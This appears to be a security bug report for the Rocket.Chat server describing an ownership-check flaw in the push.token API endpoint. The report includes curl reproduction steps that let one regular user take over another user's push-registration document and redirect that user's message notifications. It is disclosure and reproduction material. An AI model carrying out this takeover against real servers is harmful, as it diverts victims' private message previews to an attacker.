Description:
POST /api/v1/push.token (apps/meteor/server/api/v1/push.ts) accepts a client-supplied id and passes it as _id to Push.registerPushToken. The lookup (services/push/tokenManagement/findDocumentToUpdate.ts) does PushToken.findOneById(data._id) without checking ownership, and canModifyTokenDocument returns true whenever neither side has a voipToken (the common case). A regular user can therefore rewrite another user's push-registration document — including its token (delivery target) and userId — diverting the victim's message notifications to the attacker's device.
Steps to reproduce:
- On a fresh workspace, register an initial user (becomes admin), then two regular users Bob (victim) and Mallory (attacker) (
users.register + login; both roles: ["user"]).
- Victim (Bob) registers a device:
curl -s -X POST http://localhost:3000/api/v1/push.token -H "$BOB_AUTH" \
-H 'Content-Type: application/json' \
-d '{"type":"gcm","value":"VICTIM-TOKEN-AAA","appName":"victim.app"}'
# 200 → result._id = 6abdcbeb9d3d917f20c51e84,
# result = {token:{gcm:"VICTIM-TOKEN-AAA"}, userId:"<bobUid>", appName:"victim.app"}
- Attacker (Mallory, regular user) re-registers with the same id and her own token:
curl -s -X POST http://localhost:3000/api/v1/push.token -H "$MALLORY_AUTH" \
-H 'Content-Type: application/json' \
-d '{"id":"6abdcbeb9d3d917f20c51e84","type":"gcm","value":"ATTACKER-TOKEN-BBB","appName":"attacker.app"}'
Expected behavior:
Updates should be scoped to the caller's own documents (lookup by {_id, userId}); a mismatched owner must result in rejection or a new document, never a takeover.
Actual behavior:
The call returns 200 with the same document (_id and createdAt unchanged) now reading:
{"token":{"gcm":"ATTACKER-TOKEN-BBB"},"userId":"<malloryUid>","appName":"attacker.app"}
Server log: Push token updated ... modifiedCount:1, matchedCount:1. From this point Bob's device receives nothing, and notifications for Bob's messages (which typically carry sender and message preview) are delivered to the attacker-controlled device.
Server Setup Information:
- Version of Rocket.Chat Server: 8.10.0-develop (branch develop, commit
151b7df, 2026-10-01)
- License Type: Community (no license)
- Number of Users: 3 (1 admin for setup, victim + attacker regular users)
- Operating System: Linux (Docker)
- Deployment Method: docker (built from source following the official CI pipeline: yarn install →
turbo run build → meteor build → apps/meteor/.docker/Dockerfile.alpine)
- Number of Running Instances: 1
- DB Replicaset Oplog: enabled (single-node replica set rs0)
- NodeJS Version: 24.15.0
- MongoDB Version: 8.0
Client Setup Information
- Desktop App or Browser Version: none — plain REST via curl
- Operating System: any
Description:
POST /api/v1/push.token(apps/meteor/server/api/v1/push.ts) accepts a client-suppliedidand passes it as_idtoPush.registerPushToken. The lookup (services/push/tokenManagement/findDocumentToUpdate.ts) doesPushToken.findOneById(data._id)without checking ownership, andcanModifyTokenDocumentreturns true whenever neither side has avoipToken(the common case). A regular user can therefore rewrite another user's push-registration document — including itstoken(delivery target) anduserId— diverting the victim's message notifications to the attacker's device.Steps to reproduce:
users.register+login; bothroles: ["user"]).Expected behavior:
Updates should be scoped to the caller's own documents (lookup by
{_id, userId}); a mismatched owner must result in rejection or a new document, never a takeover.Actual behavior:
The call returns 200 with the same document (
_idandcreatedAtunchanged) now reading:{"token":{"gcm":"ATTACKER-TOKEN-BBB"},"userId":"<malloryUid>","appName":"attacker.app"}Server log:
Push token updated ... modifiedCount:1, matchedCount:1. From this point Bob's device receives nothing, and notifications for Bob's messages (which typically carry sender and message preview) are delivered to the attacker-controlled device.Server Setup Information:
151b7df, 2026-10-01)turbo run build→meteor build→apps/meteor/.docker/Dockerfile.alpine)Client Setup Information